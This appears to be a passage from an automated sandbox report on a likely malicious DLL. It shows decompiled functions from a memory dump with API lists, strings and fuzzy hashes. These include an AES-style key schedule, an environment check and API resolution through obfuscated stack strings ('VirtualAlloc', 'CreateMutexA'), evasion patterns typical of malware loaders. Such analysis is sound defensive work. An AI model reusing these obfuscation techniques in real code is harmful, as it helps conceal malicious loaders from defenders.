				E6EF5D230(__edi,  &_v296, 0, 0x118);
				_t178 =  &(_t143[2]);
				_t143[1] = _t178;
				_t85 = E6EF5A140( &_v296, _t181);
				_v300 = _t85;
				if(_t85 == 0) {
					_t151 = _v296;
					 *_t143 = _t151;
					_t153 = (_t151 << 4) + _v292;
					 *_t178 =  *_t153;
					 *((intOrPtr*)(_t178 + 4)) =  *((intOrPtr*)(_t153 + 4));
					 *((intOrPtr*)(_t178 + 8)) =  *((intOrPtr*)(_t153 + 8));
					_t154 = _t153 - 0x10;
					 *((intOrPtr*)(_t178 + 0xc)) =  *((intOrPtr*)(_t153 + 0xc));
					_t179 = _t178 + 0x10;
					_t183 =  *_t143 - 1;
					while(_t183 > 0) {
						_t183 = _t183 - 1;
						 *_t179 =  *(0x6ef9e968 + ( *((_t154[3] & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6efa0690 + ( *((_t154[2] & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9f690 + ( *((_t154[1] & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9fa90 + ( *(( *_t154 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4);
						_t179[1] =  *(0x6efa0690 + ( *((_t154[4] >> 0x00000010 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9f690 + ( *((_t154[4] >> 0x00000008 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9e968 + ( *((_t154[4] >> 0x18) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9fa90 + ( *((_t144 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4);
						_t179[2] =  *(0x6efa0690 + ( *((_t154[8] >> 0x00000010 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9f690 + ( *((_t154[8] >> 0x00000008 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9e968 + ( *((_t154[8] >> 0x18) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9fa90 + ( *((_t145 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4);
						_t146 = _t154[0xc];
						_t154 = _t154 - 0x10;
						_t179[3] =  *(0x6efa0690 + ( *((_t146 >> 0x00000010 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9f690 + ( *((_t146 >> 0x00000008 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9e968 + ( *((_t146 >> 0x18) + 0x6ef9e868) & 0x000000ff) * 4) ^  *(0x6ef9fa90 + ( *((_t146 & 0x000000ff) + 0x6ef9e868) & 0x000000ff) * 4);
						_t179 =  &(_t179[4]);
					}
					 *_t179 =  *_t154;
					_t179[1] = _t154[4];
					_t179[2] = _t154[8];
					_t179[3] = _t154[0xc];
				}
				_t87 =  *0x6ef6d168; // 0x6ef5d230
				 *_t87(0, 0x118);
				return E6EF5C65E(_v12 ^ _t184,  &_v296);
			}

0x6ef5b089
0x6ef5b090
0x6ef5b0a1
0x6ef5b0a6
0x6ef5b0a8
0x6ef5b0b0
0x6ef5b0b5
0x6ef5b0be
0x6ef5b0c6
0x6ef5b0ce
0x6ef5b0d4
0x6ef5b0da
0x6ef5b0df
0x6ef5b0e7
0x6ef5b0ec
0x6ef5b0f2
0x6ef5b0f8
0x6ef5b0fb
0x6ef5b0fe
0x6ef5b103
0x6ef5b106
0x6ef5b114
0x6ef5b158
0x6ef5b1ad
0x6ef5b203
0x6ef5b206
0x6ef5b20e
0x6ef5b25c
0x6ef5b25f
0x6ef5b262
0x6ef5b26c
0x6ef5b271
0x6ef5b277
0x6ef5b27d
0x6ef5b27d
0x6ef5b28e
0x6ef5b293
0x6ef5b2ae

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d858a2dbd0db1e01b899566aa5686166f44b30cbbda0f50a15616f9693fbbd0c
Instruction ID: a0735179e10071eddd931f0051bc021def4c1e7c4c0991ef99db9ee95dd60ed1
Opcode Fuzzy Hash: d858a2dbd0db1e01b899566aa5686166f44b30cbbda0f50a15616f9693fbbd0c
Instruction Fuzzy Hash: C151A8709105699FDB40CF6AC890A75BBF0FB8A315B5981D5E5C8EF342C239E662CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF614AE, Relevance: .0, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF614AE(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E6EF603AE(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x6ef614bb
0x6ef614bd
0x6ef614c0
0x6ef614c3
0x6ef614c6
0x6ef614d7
0x6ef614d9
0x6ef614c8
0x6ef614cc
0x6ef614d5
0x00000000
0x00000000
0x6ef614d5
0x6ef614e0

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d6e38d98d3da71006e7a19da4402c2d27cb404d58e6ce93ddf7320851fb6630
Instruction ID: e8d16dc944709244ecdc5223c8aa6faad29894e807269f6aaa2d835d9115b776
Opcode Fuzzy Hash: 6d6e38d98d3da71006e7a19da4402c2d27cb404d58e6ce93ddf7320851fb6630
Instruction Fuzzy Hash: A7E08632D1523CEBCB20CBC9C510999F3ECEB06A11B1145ABF908D3110D275DE00C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF41305, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF41305() {
				char _v5;
				intOrPtr _v9;
				intOrPtr _v13;
				char _v17;
				char _v18;
				intOrPtr _v22;
				intOrPtr _v26;
				char _v30;
				char _v31;
				char _v32;
				short _v34;
				intOrPtr _v38;
				char _v42;
				char _v43;
				intOrPtr _v47;
				intOrPtr _v51;
				char _v55;
				char _v56;
				intOrPtr _v60;
				char _v64;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t30;
				struct HINSTANCE__* _t32;
				_Unknown_base(*)()* _t33;

				_v64 = 0x6e72656b;
				_v60 = 0x32336c65;
				_v56 = 0;
				_v55 = 0x74726956;
				_v51 = 0x416c6175;
				_v47 = 0x636f6c6c;
				_v43 = 0;
				_v42 = 0x74726956;
				_v38 = 0x466c6175;
				_v34 = 0x6572;
				_v32 = 0x65;
				_v31 = 0;
				_v30 = 0x61657243;
				_v26 = 0x754d6574;
				_v22 = 0x41786574;
				_v18 = 0;
				_v17 = 0x4c746547;
				_v13 = 0x45747361;
				_v9 = 0x726f7272;
				_v5 = 0;
				_t21 =  &_v64; // 0x6e72656b
				_t26 = GetModuleHandleA(_t21);
				if(_t26 != 0) {
					_t22 =  &_v55; // 0x74726956
					 *0x6ef86064 = GetProcAddress(_t26, _t22);
					_t28 = _t26;
					_t23 =  &_v42; // 0x74726956
					 *0x6ef86068 = GetProcAddress(_t28, _t23);
					_t30 = _t28;
					_t24 =  &_v30; // 0x61657243
					 *0x6ef8606c = GetProcAddress(_t30, _t24);
					_t32 = _t30;
					_t33 = GetProcAddress(_t32,  &_v17);
					 *0x6ef86070 = _t33;
					return _t33;
				}
				return _t26;
			}

0x6ef4130b
0x6ef41312
0x6ef41319
0x6ef4131d
0x6ef41324
0x6ef4132b
0x6ef41332
0x6ef41336
0x6ef4133d
0x6ef41344
0x6ef4134a
0x6ef4134e
0x6ef41352
0x6ef41359
0x6ef41360
0x6ef41367
0x6ef4136b
0x6ef41372
0x6ef41379
0x6ef41380
0x6ef41384
0x6ef41388
0x6ef41390
0x6ef41393
0x6ef4139e
0x6ef413a3
0x6ef413a5
0x6ef413b0
0x6ef413b5
0x6ef413b7
0x6ef413c2
0x6ef413c7
0x6ef413cd
0x6ef413d3
0x00000000
0x6ef413d3
0x6ef413d9

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF41388
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 6EF41398
GetProcAddress.KERNEL32(6E72656B,VirtualFreCreateMutexA), ref: 6EF413AA
GetProcAddress.KERNEL32(32336C65,CreateMutexA), ref: 6EF413BC
GetProcAddress.KERNEL32(00000000,4C746547), ref: 6EF413CD

Strings

VirtualFreCreateMutexA, xrefs: 6EF413A5, 6EF413A8
GetL, xrefs: 6EF4136B
astE, xrefs: 6EF41372
VirtualAlloc, xrefs: 6EF41393, 6EF41396
kernel32, xrefs: 6EF41384, 6EF41387
rror, xrefs: 6EF41379
texA, xrefs: 6EF41360

Memory Dump Source

Source File: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetL$VirtualAlloc$VirtualFreCreateMutexA$astE$kernel32$rror$texA
API String ID: 667068680-3744176233
Opcode ID: 695f2ddfcd52f4294f93b4a0de4f868eac9fbfd0079f6eccf9a1f3eba1300a62
Instruction ID: af2127a608d49fc40e2dbab1eeddd022a4946d41df4b794a5a8dc98d7d6b7498
Opcode Fuzzy Hash: 695f2ddfcd52f4294f93b4a0de4f868eac9fbfd0079f6eccf9a1f3eba1300a62
Instruction Fuzzy Hash: 8321F3B1C18788EFEF01DFE4D558BEEBF79AB86700F108549E441AA254DA758204CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6429D, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF6429D(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6ef86790) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6EF5FEFF(_t46);
							E6EF64608( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6EF5FEFF(_t47);
							E6EF64706( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6EF5FEFF( *((intOrPtr*)(_t74 + 0x7c)));
						E6EF5FEFF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6EF64410( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6ef86260) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6EF5FEFF(_t31);
							E6EF5FEFF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6EF5FEFF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6EF5FEFF(_t74);
			}

0x6ef642a5
0x6ef642a9
0x6ef642b1
0x6ef642ba
0x6ef642bf
0x6ef642c6
0x6ef642ce
0x6ef642d6
0x6ef642e1
0x6ef642e7
0x6ef642e8
0x6ef642f0
0x6ef642f8
0x6ef64303
0x6ef64309
0x6ef6430d
0x6ef64318
0x6ef6431e
0x6ef642bf
0x6ef6431f
0x6ef64327
0x6ef6433a
0x6ef6434d
0x6ef6435b
0x6ef64366
0x6ef6436b
0x6ef64374
0x6ef6437c
0x6ef6437d
0x6ef64383
0x6ef64386
0x6ef64389
0x6ef64390
0x6ef64392
0x6ef64396
0x6ef6439e
0x6ef643a5
0x6ef643ab
0x6ef643ac
0x6ef643ac
0x6ef643b3
0x6ef643b5
0x6ef643ba
0x6ef643c2
0x6ef643c7
0x6ef643c8
0x6ef643c8
0x6ef643cb
0x6ef643ce
0x6ef643d1
0x6ef643d4
0x6ef643d4
0x6ef643e6

APIs

___free_lconv_mon.LIBCMT ref: 6EF642E1

Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64625
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64637
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64649
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6465B
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6466D
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6467F
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64691
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646A3
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646B5
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646C7
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646D9
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646EB
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646FD

_free.LIBCMT ref: 6EF642D6

Part of subcall function 6EF5FEFF: HeapFree.KERNEL32(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF642F8
_free.LIBCMT ref: 6EF6430D
_free.LIBCMT ref: 6EF64318
_free.LIBCMT ref: 6EF6433A
_free.LIBCMT ref: 6EF6434D
_free.LIBCMT ref: 6EF6435B
_free.LIBCMT ref: 6EF64366
_free.LIBCMT ref: 6EF6439E
_free.LIBCMT ref: 6EF643A5
_free.LIBCMT ref: 6EF643C2
_free.LIBCMT ref: 6EF643DA

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 7471dd59e26bd504e028ca5e8396a49a81bc28fb94464268d50d8c731a9b2ef6
Instruction ID: 82dc11041d3b9edc4908cb058aed2452ed37cc4ffed0644fffe9b4d47411bef1
Opcode Fuzzy Hash: 7471dd59e26bd504e028ca5e8396a49a81bc28fb94464268d50d8c731a9b2ef6
Instruction Fuzzy Hash: 79319332604342DFE790AAB8D871B8A73EDBF50324F30499AE055C7660DF31A891DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EF60EF4, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EF60EF4(void* __edx, void* __esi, char _a4) {
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				intOrPtr _t67;
				void* _t71;
				void* _t72;

				_t72 = __esi;
				_t71 = __edx;
				_t36 = _a4;
				_t67 =  *_a4;
				_t76 = _t67 - 0x6ef68a38;
				if(_t67 != 0x6ef68a38) {
					E6EF5FEFF(_t67);
					_t36 = _a4;
				}
				E6EF5FEFF( *((intOrPtr*)(_t36 + 0x3c)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x30)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x34)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x38)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x28)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x2c)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x40)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x44)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6EF60D3C( &_v5, _t71, _t76);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6EF60D9D( &_v5, _t71, _t72, _t76);
			}

0x6ef60ef4
0x6ef60ef4
0x6ef60ef9
0x6ef60eff
0x6ef60f01
0x6ef60f07
0x6ef60f0a
0x6ef60f0f
0x6ef60f12
0x6ef60f16
0x6ef60f21
0x6ef60f2c
0x6ef60f37
0x6ef60f42
0x6ef60f4d
0x6ef60f58
0x6ef60f63
0x6ef60f71
0x6ef60f7c
0x6ef60f84
0x6ef60f85
0x6ef60f88
0x6ef60f8e
0x6ef60f92
0x6ef60f96
0x6ef60f97
0x6ef60fa1
0x6ef60fa7
0x6ef60fa8
0x6ef60fab
0x6ef60fb1
0x6ef60fb5
0x6ef60fb9
0x6ef60fc2

APIs

_free.LIBCMT ref: 6EF60F0A

Part of subcall function 6EF5FEFF: HeapFree.KERNEL32(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF60F16
_free.LIBCMT ref: 6EF60F21
_free.LIBCMT ref: 6EF60F2C
_free.LIBCMT ref: 6EF60F37
_free.LIBCMT ref: 6EF60F42
_free.LIBCMT ref: 6EF60F4D
_free.LIBCMT ref: 6EF60F58
_free.LIBCMT ref: 6EF60F63
_free.LIBCMT ref: 6EF60F71

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 99de8b5651568728d8a183647cf12ef53e46905155b5e070519ffaa829faacd9
Instruction ID: 51d948bd5574a7b7d171630bbe784b0b4719eed13ee58a359b9234bca2c8ff10
Opcode Fuzzy Hash: 99de8b5651568728d8a183647cf12ef53e46905155b5e070519ffaa829faacd9
Instruction Fuzzy Hash: DD216876900188AFCB41EFD8C890DDE7BB9AF18354F2146E6E5159B621EB31EA54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5D3D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EF5D3D0(void* __ebx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr* _t67;
				intOrPtr _t71;
				intOrPtr _t73;
				signed int _t75;
				char _t77;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t110;

				_t71 = _a8;
				_v5 = 0;
				_t93 = _t71 + 0x10;
				_push(_t93);
				_v16 = 1;
				_v20 = _t93;
				_v12 =  *(_t71 + 8) ^  *0x6ef8609c;
				E6EF5D390( *(_t71 + 8) ^  *0x6ef8609c);
				E6EF5D717(_a12);
				_t51 = _a4;
				_t102 = _t101 + 0xc;
				_t90 =  *((intOrPtr*)(_t71 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
					if(_t90 != 0xfffffffe) {
						E6EF5D700(_t71, 0xfffffffe, _t93, 0x6ef8609c);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t51;
					_v28 = _a12;
					 *((intOrPtr*)(_t71 - 4)) =  &_v32;
					if(_t90 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t75 = _v12;
							_t20 = _t90 + 2; // 0x3
							_t58 = _t90 + _t20 * 2;
							_t73 =  *((intOrPtr*)(_t75 + _t58 * 4));
							_t59 = _t75 + _t58 * 4;
							_t76 =  *((intOrPtr*)(_t59 + 4));
							_v24 = _t59;
							if( *((intOrPtr*)(_t59 + 4)) == 0) {
								_t77 = _v5;
								goto L8;
							} else {
								_t60 = E6EF5D6B0(_t76, _t93);
								_t77 = 1;
								_v5 = 1;
								_t110 = _t60;
								if(_t110 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									E6EF5D390(_v12);
									goto L15;
								} else {
									if(_t110 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6ef68a30;
											if(__eflags != 0) {
												_t67 = E6EF66B90(__eflags, 0x6ef68a30);
												_t102 = _t102 + 4;
												__eflags = _t67;
												if(_t67 != 0) {
													_t97 =  *0x6ef68a30; // 0x6ef5e30c
													 *0x6ef68124(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t102 = _t102 + 8;
												}
												_t61 = _a4;
											}
										}
										E6EF5D6E4(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											E6EF5D700(_t63, _t90, _t93, 0x6ef8609c);
											_t63 = _a8;
										}
										 *((intOrPtr*)(_t63 + 0xc)) = _t73;
										_t64 = E6EF5D390(_v12);
										E6EF5D6C8();
										asm("int3");
										__imp__InterlockedFlushSList(_v40, _t98, _t93);
										__eflags = _t64;
										if(_t64 != 0) {
											_push(_t93);
											do {
												_t95 =  *_t64;
												E6EF5E93F(_t64);
												_t64 = _t95;
												__eflags = _t95;
											} while (_t95 != 0);
											return _t64;
										}
										return _t64;
									} else {
										goto L8;
									}
								}
							}
							goto L29;
							L8:
							_t90 = _t73;
						} while (_t73 != 0xfffffffe);
						if(_t77 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L29:
			}

0x6ef5d3d7
0x6ef5d3dc
0x6ef5d3e3
0x6ef5d3ec
0x6ef5d3ee
0x6ef5d3f5
0x6ef5d3f8
0x6ef5d3fb
0x6ef5d403
0x6ef5d408
0x6ef5d40b
0x6ef5d40e
0x6ef5d415
0x6ef5d476
0x6ef5d479
0x6ef5d488
0x00000000
0x6ef5d488
0x00000000
0x6ef5d417
0x6ef5d417
0x6ef5d41d
0x6ef5d423
0x6ef5d429
0x6ef5d499
0x6ef5d4a2
0x6ef5d42b
0x6ef5d430
0x6ef5d430
0x6ef5d433
0x6ef5d436
0x6ef5d439
0x6ef5d43c
0x6ef5d43f
0x6ef5d442
0x6ef5d447
0x6ef5d45d
0x00000000
0x6ef5d449
0x6ef5d44b
0x6ef5d450
0x6ef5d452
0x6ef5d455
0x6ef5d457
0x6ef5d46d
0x6ef5d48d
0x6ef5d48d
0x6ef5d491
0x00000000
0x6ef5d459
0x6ef5d459
0x6ef5d4a3
0x6ef5d4a6
0x6ef5d4ac
0x6ef5d4ae
0x6ef5d4b5
0x6ef5d4bc
0x6ef5d4c1
0x6ef5d4c4
0x6ef5d4c6
0x6ef5d4c8
0x6ef5d4d5
0x6ef5d4db
0x6ef5d4dd
0x6ef5d4e0
0x6ef5d4e0
0x6ef5d4e3
0x6ef5d4e3
0x6ef5d4b5
0x6ef5d4eb
0x6ef5d4f0
0x6ef5d4f3
0x6ef5d4f6
0x6ef5d502
0x6ef5d507
0x6ef5d507
0x6ef5d50e
0x6ef5d511
0x6ef5d521
0x6ef5d526
0x6ef5d52d
0x6ef5d533
0x6ef5d535
0x6ef5d537
0x6ef5d538
0x6ef5d538
0x6ef5d53b
0x6ef5d540
0x6ef5d543
0x6ef5d543
0x00000000
0x6ef5d547
0x6ef5d549
0x6ef5d45b
0x00000000
0x6ef5d45b
0x6ef5d459
0x6ef5d457
0x00000000
0x6ef5d460
0x6ef5d460
0x6ef5d462
0x6ef5d469
0x00000000
0x6ef5d46b
0x00000000
0x6ef5d469
0x6ef5d429
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6EF5D3FB
___except_validate_context_record.LIBVCRUNTIME ref: 6EF5D403
_ValidateLocalCookies.LIBCMT ref: 6EF5D491
__IsNonwritableInCurrentImage.LIBCMT ref: 6EF5D4BC
_ValidateLocalCookies.LIBCMT ref: 6EF5D511

Strings

csm, xrefs: 6EF5D4A6

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3b58627d17bf2d09b49b441a9c9c0d9890db59319692f0077740380f4a7415f4
Instruction ID: 8eae739eff93d6182229daa7e9efbc0b4125497431479f65b9151b0914240b47
Opcode Fuzzy Hash: 3b58627d17bf2d09b49b441a9c9c0d9890db59319692f0077740380f4a7415f4
